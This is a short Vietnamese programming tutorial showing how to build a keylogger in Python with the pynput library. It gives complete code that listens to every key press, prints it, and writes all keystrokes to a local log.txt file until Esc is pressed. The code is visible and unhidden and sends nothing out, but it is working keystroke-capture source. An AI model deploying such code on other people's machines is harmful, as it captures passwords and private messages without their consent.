Cách sử dụng pynput để tạo Keylogger

Cách sử dụng pynput để tạo Keylogger

Cách sử dụng pynput để tạo Keylogger

Điều kiện tiên quyết: Ngôn ngữ lập trình Python căn bản

Module pynput.keyboard chứa các lớp để điều khiển và giám sát bàn phím. pynput là thư viện Python có thể được sử dụng để bắt các sự kiện của bàn phím nên ta hoàn toàn có thể sử dụng để tạo keylogger cho riêng mình.

Module cần thiết

pynput: Để cài đặt pynput, hãy nhập lệnh dưới đây vào command prompt.

pip install pynput 

Dưới đây là cách thực hiện:

# keylogger sử dụng module pynput
   
import pynput
from pynput.keyboard import Key, Listener
   
keys = []
   
def on_press(key):
      
    keys.append(key)
    write_file(keys)
      
    try:
        print('phím chữ cái {0} được nhấn'.format(key.char))
          
    except AttributeError:
        print('phím đặc biệt {0} được nhấn'.format(key))
           
def write_file(keys):
      
    with open('log.txt', 'w') as f:
        for key in keys:
              
            # xóa các dấu nháy
            k = str(key).replace("'", "")
            f.write(k)
                      
            # thêm vào khoảng trắng để dễ đọc 
            f.write(' ') 
               
def on_release(key):
                      
    print('{0} được thả'.format(key))
    if key == Key.esc:
        return False
   
   
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

Output

Chú ý !!! Hãy tăng cường nền tảng của bạn với Khóa học nền tảng lập trình Python và học thêm các kiến thức cơ bản.

Leave a Reply